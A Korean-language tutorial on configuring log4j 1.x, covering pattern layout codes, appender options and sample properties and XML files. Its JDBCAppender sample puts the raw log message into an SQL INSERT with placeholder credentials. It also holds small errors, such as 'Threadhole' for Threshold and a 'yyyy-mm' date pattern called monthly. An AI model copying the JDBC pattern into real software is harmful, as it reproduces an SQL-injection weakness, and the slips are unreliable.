%d : 로깅이벤트가 일어나 날짜 출력 ( 프로그램의 실행속도를 느리게 한다.)
  예) %d{HH:mm:ss} 또는 %d{dd MMMM yyyy HH:mm:ss}
%C : 호출자의 클래스명 출력
  예) 클래스구조가 org.apache.xyz.SomeClass 처럼 되어있다면 %C{2}는 xyz.SomeClass 가 출력됩니다
%M : 로깅이 발생한 method 이름을 나타냅니다.
%F : 로깅이 발생한 프로그램 파일명을 나타냅니다.
%l : 로깅이 발생한 caller의 정보를 나타냅니다
%L : 로깅이 발생한 caller의 라인수를 나타냅니다
%x : 로깅이 발생한 thread와 관련된 NDC(nested diagnostic context)를 출력합니다.
%X : 로깅이 발생한 thread와 관련된 MDC(mapped diagnostic context)를 출력합니다.
%% : % 표시를 출력하기 위해 사용한다. 
%t : 로그이벤트가 발생된 쓰레드의 이름을 출력합니다
다음 포맷으로 출력해본다면

ex) [%c] [%C] [%d] [%F] [%l] [%L] [%m] [%M] [%n] [%p] [%r] [%t]
[test.jsp] [org.apache.jsp.test_jsp] [2005-03-10 12:37:23,561] [test_jsp.java] [org.apache.jsp.test_jsp._jspService(test_jsp.java:64)] [64] [fatal!!] [_jspService] [개행] [FATAL] [765567] [http-8080-Processor25]

Ex)Appender  Sample properties
=> ConsoleAppender 옵션
Threadhole=WARN : category 의 priority가 더 낮게 지정되어 있더라도 여기 명시된 priority 보다 낮은 메세지들은 로깅하지 않는다.
ImmediateFlush=true : 기본값은 true 로그메세지가 버퍼되지 않는다.
Target=System.err : 기본값은 System.out

log4j.rootLogger=DEBUG, A1
#log4j.rootLogger=OFF, A1
log4j.appender.A1=org.apache.log4j.ConsoleAppender
log4j.appender.A1.layout=org.apache.log4j.PatternLayout
log4j.appender.A1.layout.ConversionPattern=[%d{yyyy-MM-dd HH:mm:ss}] - %m%n

=> FileAppender 옵션
Threadhole=WARN : category 의 priority가 더 낮게 지정되어 있더라도 여기 명시된 priority 보다 낮은 메세지들은 로깅하지 않는다.
ImmediateFlush=true : 기본값은 true 로그메세지가 버퍼되지 않는다.
File=testlog.txt : 로깅할 파일명
Append=false : 기본값은 true이며, 파일끝에 추가하는 것을 의미한다.

=> RollingFileAppender 옵션
Threadhole=WARN : category 의 priority가 더 낮게 지정되어 있더라도 여기 명시된 priority 보다 낮은 메세지들은 로깅하지 않는다.
ImmediateFlush=true : 기본값은 true 로그메세지가 버퍼되지 않는다.
File=testlog.txt : 로깅할 파일명
Append=false : 기본값은 true이며, 파일끝에 추가하는 것을 의미한다.
MaxFileSize=100KB : KB, MB, GB 의 단위를 사용, 지정한 크기에 도달하면 로그파일을 교체한다.
MaxBackupIndex=5 : 최대 5개의 백업 파일을 유지한다.

=> DailyRollingFileAppend 옵션
Threadhole=WARN : category 의 priority가 더 낮게 지정되어 있더라도 여기 명시된 priority 보다 낮은 메세지들은 로깅하지 않는다.
ImmediateFlush=true : 기본값은 true 로그메세지가 버퍼되지 않는다.
File=testlog.txt : 로깅할 파일명
Append=false : 기본값은 true이며, 파일끝에 추가하는 것을 의미한다.
DatePattern='.'yyyy-mm : 매월 파일을 교체한다. 교체주기는 월, 주, 일, 시간, 분 별로 정할 수 있다.

log4j.rootLogger=DEBUG, A1
log4j.appender.A1=org.apache.log4j.DailyRollingFileAppender
log4j.appender.A1.File=test.log
log4j.appender.A1.DatePattern='.'yyyy-mm-dd
log4j.appender.A1.layout=org.apache.log4j.PatternLayout
log4j.appender.A1.layout.ConversionPattern=[%d{yyyy-MM-dd HH:mm:ss}] %-5p [%l] - %m%n


Ex) Jdbc Sample properties


log4j.appender.R=org.apache.log4j.jdbc.JDBCAppender
log4j.appender.R.URL=jdbc:mysql://localhost/LOG4JDemo
log4j.appender.R.user=default
log4j.appender.R.password=default
log4j.appender.R.sql=INSERT INTO JDBCTEST (Message) VALUES ('%d - %c - %p - %m')

ex) 아래의 log4j.properties 파일은 메시지의 레벨과 다른 파라미터들을 기반으로 하여 여러 Appender에 로그 메시지를 기록하도록 설정 하는 예 입니다. 콘솔에도 출력하고 out.log 파일에도 메시지를 출력 합니다.

# A sample log4j configuration file
# Create two appenders, one called stdout and the other called rolling
# 최상위 카테고리에 DEBUG로 레벨 설정 및 appender로 stdout, rolling 두개를 정의
log4j.rootLogger=DEBUG, stdout, rolling

# stdout 어펜더는 콘솔에 뿌리겠다는 정의
log4j.appender.stdout=org.apache.log4j.ConsoleAppender

# stdout 어펜더는 patternlayout을 사용하겠다는 정의
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout

# 페턴은 다음과 같이 포맷팅 하겠다는 것을 정의
log4j.appender.stdout.layout.ConversionPattern=%5p [%t] (%F:%L)- %m%n

# rolling 어펜더는 파일로 처리한다라고 정의
log4j.appender.rolling=org.apache.log4j.RollingFileAppender

# 로그 파일 이름은 output.log
log4j.appender.rolling.File=output.log

# 파일 최대 사이즈는 100KB로 설정
log4j.appender.rolling.MaxFileSize=100KB

# rolling 어펜더는 1개의 백업파일을 유지하겠데요~
log4j.appender.rolling.MaxBackupIndex=1

# rolling 어펜더는 패턴 레이아웃을 사용하겠다고 정의, 패턴 레이아웃 포맷
log4j.appender.rolling.layout=org.apache.log4j.PatternLayout
log4j.appender.rolling.layout.ConversionPattern=%d{ABSOLUTE} - %p %c - %m%n


3 XML 파일을 이용해 세팅

Log4j.properties 처럼 XML 파일 역시 WEB-INF/classes 폴더에 위치하면 됩니다.
그리고 파일이름은 반드시 log4j.configuration 시스템 프로퍼티에 지정하여 어떤 파일을 로딩 할것인지를 알게 해야 합니다.
Log4j.configuration 파일에서 프로퍼티를 설정 하는 방법은 다음과 같습니다.
set CATALINA_OPTS=-Dlog4j.configuration=log4j.xml
또는 자바 명령행에서 지정하는 것도 가능 합니다.
java -Dlog4j.configuration=log4j.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">

<log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">

    <!-- 콘솔로 보기(디버그) -->
    <appender name="CONSOLE-debug" class="org.apache.log4j.ConsoleAppender">
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%p - %C{1}  :  %M  %m %n"/>
        </layout>
    </appender>
   
    <!-- 콘솔로 보기(인포) -->
    <appender name="CONSOLE-info" class="org.apache.log4j.ConsoleAppender">
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%m ---%d %n"/>
        </layout>
    </appender>
   
    <!-- 매 날짜별 로그 파일 남기기 -->
    <appender name="LOGFILE-DAILY" class="org.apache.log4j.DailyRollingFileAppender">
        <param name="file" value="test-daily.log"/>
        <param name="Append" value="true"/>
        <param name="DatePattern" value="'.'yyyy-MM-dd"/>
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d %-5p [%t] %-17c{2} (%13F:%L) %3x - %m%n"/>
        </layout>
    </appender>
   
     <!-- 매 날짜별 로그 파일 남기기(로그인) -->
    <appender name="LOGFILE-DAILY-LOGIN" class="org.apache.log4j.DailyRollingFileAppender">
        <param name="file" value="test-daily-login.log"/>
        <param name="Append" value="true"/>
        <param name="DatePattern" value="'.'yyyy-MM-dd"/>
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d - %m%n"/>
        </layout>
    </appender>
   
     <!-- 매 날짜별 로그 파일 남기기(가입) -->
    <appender name="LOGFILE-DAILY-JOIN" class="org.apache.log4j.DailyRollingFileAppender">
        <param name="file" value="test-daily-join.log"/>
        <param name="Append" value="true"/>
        <param name="DatePattern" value="'.'yyyy-MM-dd"/>
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d - %m%n"/>
        </layout>
    </appender>
   
     <!-- 매 날짜별 로그 파일 남기기(탈퇴) -->
    <appender name="LOGFILE-DAILY-JOINBREAK" class="org.apache.log4j.DailyRollingFileAppender">
        <param name="file" value="test-daily-joinbreak.log"/>
        <param name="Append" value="true"/>
        <param name="DatePattern" value="'.'yyyy-MM-dd"/>
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d - %m%n"/>
        </layout>
    </appender>
   
    <!-- 로그 파일 100KB마다 새로 남기기 -->
    <appender name="LOGFILE-SIZE" class="org.apache.log4j.RollingFileAppender">
        <param name="file" value="test-Size.log"/>
        <param name="Append" value="true"/>
        <param name="MaxFileSize" value="100KB"/>

       <param name="MaxBackupIndex" value="5"/>  
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d %-5p [%t] %-17c{2} (%13F:%L) %3x - %m%n"/>
        </layout>
    </appender>
   
    <!-- XML 형태로 로그 파일 남기기 -->
    <appender name="LOGFILE-XML" class="org.apache.log4j.FileAppender">
        <param name="file" value="test-XML.log"/>
        <param name="Append" value="true"/>
        <layout class="org.apache.log4j.xml.XMLLayout"/>
    </appender>

    <logger name="org.apache">
        <level value="WARN"/>
    </logger>
   
    <root>
        <level value="INFO"/>
        <appender-ref ref="CONSOLE-debug"/>
       
        <!--<appender-ref ref="LOGFILE-DAILY"/>-->
        <!--<appender-ref ref="LOGFILE-SIZE"/>-->
        <!--<appender-ref ref="CONSOLE-info"/>-->
        <!--<appender-ref ref="LOGFILE-XML"/>-->
    </root>
</log4j:configuration>